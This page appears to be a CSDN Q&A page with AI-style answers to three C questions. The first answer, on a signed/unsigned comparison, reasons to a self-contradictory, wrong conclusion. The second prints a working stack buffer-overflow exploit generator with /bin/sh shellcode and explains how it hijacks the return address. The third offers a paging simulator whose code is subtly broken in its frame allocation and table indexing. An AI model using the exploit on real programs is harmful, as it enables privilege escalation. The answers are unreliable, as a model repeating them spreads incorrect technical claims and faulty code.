int main (void) int a =-3; unsigned int b = 3;if (a < b) printf("a < bin");elseprintf("a > bln"); return 0;
时间: 2023-06-01 09:08:12 浏览: 53
回答:a < b,因为a是一个有符号整数,它的值为-3,b是一个无符号整数,它的值为3,在进行比较时,a会先被强制转换为无符号整数,由于a的值是一个负数,所以它会被转换为一个非常大的正数,这个转换后的值大于b,因此a < b的结果为真。
相关问题
分析以下代码:#include <stdio.h> #include <stdlib.h> #include <string.h> #define DEFAULT_OFFSET 350 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char **argv) { char buffer[517]; FILE *badfile; char *ptr; long *a_ptr,ret; int offset = DEFAULT_OFFSET; int codeSize = sizeof(shellcode); int buffSize = sizeof(buffer); if(argc > 1) offset = atoi(argv[1]); //allows for command line input ptr=buffer; a_ptr = (long *) ptr; /* Initialize buffer with 0x90 (NOP instruction) */ memset(buffer, 0x90, buffSize); //----------------------BEGIN FILL BUFFER----------------------\\ ret = get_sp()+offset; printf("Return Address: 0x%lx\n",(unsigned long)get_sp()); printf("Address: 0x%lx\n",(unsigned long)ret); ptr = buffer; a_ptr = (long *) ptr; int i; for (i = 0; i < 300;i+=4) { *(a_ptr++) = ret; } for(i = 486;i < codeSize + 486;++i) { buffer[i] = shellcode[i-486]; } buffer[buffSize - 1] = '\0'; //-----------------------END FILL BUFFER-----------------------\\ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer,517,1,badfile); fclose(badfile); }
该程序是一个栈溢出攻击的示例代码,它通过构造恶意输入来利用程序中的缓冲区溢出漏洞,实现执行任意代码的目的。具体来说,该程序在 `main` 函数中定义了一个名为 `buffer` 的字符数组,长度为 517,接着定义了一个名为 `badfile` 的文件指针。在程序中,首先通过调用 `get_sp` 函数获取栈指针的值,并通过加上偏移量 `offset` 计算出返回地址的值,然后将返回地址写入 `buffer` 中,接着将恶意代码 `shellcode` 复制到 `buffer` 中,最后将 `buffer` 中的内容写入名为 `badfile` 的文件中。
在该程序中,攻击者利用了程序中的缓冲区溢出漏洞,通过构造恶意输入,将恶意代码和返回地址写入 `buffer` 中,从而实现执行任意代码的目的。具体来说,攻击者可以通过调整 `offset` 的值来修改返回地址的值,从而控制程序执行时跳转的位置;同时,攻击者还需要构造恶意代码,使其在被执行时能够完成攻击的目的,例如获取系统权限、删除文件等。在该程序中,恶意代码 `shellcode` 实现的功能是以 root 权限执行一个 shell,通过该 shell 可以完成更多的攻击操作。
需要注意的是,该程序是一个示例代码,仅供学习和研究使用,请勿用于非法用途。同时,栈溢出攻击是一种常见的安全漏洞,开发人员需要注意编写安全的代码,避免出现缓冲区溢出等漏洞。
Write a program to simulate a process of translation from a logical address to physical address. Assumptions 1. Assume the file la.txt includes the sequence of generated addresses from CPU. 2. Use a part of memory as backing store that store data for a process. 3. The backing store size is 128 bytes 4. The size of process p is 128 bytes. 5. The contents of p is included in a file pdata.bin which is a binary file. 6. Use a part of memory as RAM. The size of physical memory is 256 bytes, from 0 to 255. All the physical memory is available, allocating starting from beginning in sequence. That is, allocate frame 0 first, then frame 1, then frame 2…. 7. The size of a frame is 32 bytes, i.e., 5 bits for the offset in a frame, total number of frames is 8. 8. At beginning, no page table is available for process p. Requirements Write a program to 1. Setup a simulating backing store in memory. Read the data from pdata.bin to this backing store. 2. Initialize a page table for process p, set the frame number to be -1 for each page, indicating that the page is not loaded into memory yet. 3. Read logical addresses one by one from la.txt. 4. For each logical address, a) if its page has been loaded into physical memory, simply find the frame number in the page table, then generate physical address, find and print out the physical address and data inside this address. b) if the page is used for the first time, i.e., in page table, its frame number is -1,then the page that contains this address should be loaded into a free frame in physical memory (RAM). Then update the page table by adding the frame number to the right index in the page table. Then repeat 4a). Refer to Figure 1 for the relationships and how physical memory, backing store, and CPU are simulated. Figure 1 How physical memory, backing store and CPU are simulated in this program assignment Hints: a) use a memory block pointed by a pointer or use an array as a simulation of backing store b) use functions fread or mmap for the binary file read. Search through the Internet for the usage of these functions. c) Use an array to simulate the memory. d) Use bit operators &, |, <<, and >> to get the bits in a logic address or form a physical address e) Use char for the type of data in the process, use unsigned char (8 bits) for the type of address. Coding & Submission 1. Using pure C to finish this program. 2. Put all the codes in one .c file named PA3_#####.c, replace “#####” as the last 5 digits of your student ID. 3. Put pdata.txt and la.txt in the same folder as PA3_#####.c, which the need .txt file can be open directly by filename instead of absolute path. 4. Submit only the .c file mentioned above.使用C语言完成
```
#include <stdio.h>
#include <stdlib.h>
#define BACKING_STORE_SIZE 128
#define PAGE_SIZE 32
#define NUM_PAGES 4
#define NUM_FRAMES 8
#define FRAME_SIZE 32
#define PHYSICAL_MEMORY_SIZE NUM_FRAMES * FRAME_SIZE
int page_table[NUM_PAGES];
unsigned char backing_store[BACKING_STORE_SIZE];
unsigned char physical_memory[PHYSICAL_MEMORY_SIZE];
void load_page(int page_num, int frame_num) {
int byte_offset = page_num * PAGE_SIZE;
int frame_offset = frame_num * FRAME_SIZE;
for (int i = 0; i < PAGE_SIZE; i++) {
physical_memory[frame_offset + i] = backing_store[byte_offset + i];
}
}
int main() {
FILE *la_file = fopen("la.txt", "r");
FILE *pdata_file = fopen("pdata.bin", "rb");
if (la_file == NULL || pdata_file == NULL) {
printf("Error opening file\n");
return 1;
}
// populate backing store with process data
fread(backing_store, sizeof(unsigned char), BACKING_STORE_SIZE, pdata_file);
// initialize page table
for (int i = 0; i < NUM_PAGES; i++) {
page_table[i] = -1;
}
// read logical addresses from file
int logical_address;
while (fscanf(la_file, "%d", &logical_address) != EOF) {
// calculate page number and offset
int page_num = logical_address / PAGE_SIZE;
int page_offset = logical_address % PAGE_SIZE;
// check if page is in memory
if (page_table[page_num] != -1) {
int frame_num = page_table[page_num];
int physical_address = (frame_num * FRAME_SIZE) + page_offset;
printf("Logical address: %d, Physical address: %d, Data: %c\n",
logical_address, physical_address, physical_memory[physical_address]);
} else {
// find a free frame in physical memory
int free_frame = -1;
for (int i = 0; i < NUM_FRAMES; i++) {
if (page_table[i] == -1) {
free_frame = i;
break;
}
}
// if no free frame is found, use a random one (for simplicity)
if (free_frame == -1) {
free_frame = rand() % NUM_FRAMES;
page_table[free_frame] = -1;
}
// load page into free frame
load_page(page_num, free_frame);
page_table[page_num] = free_frame;
// print physical address
int physical_address = (free_frame * FRAME_SIZE) + page_offset;
printf("Logical address: %d, Physical address: %d, Data: %c\n",
logical_address, physical_address, physical_memory[physical_address]);
}
}
fclose(la_file);
fclose(pdata_file);
return 0;
}
```
相关推荐
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)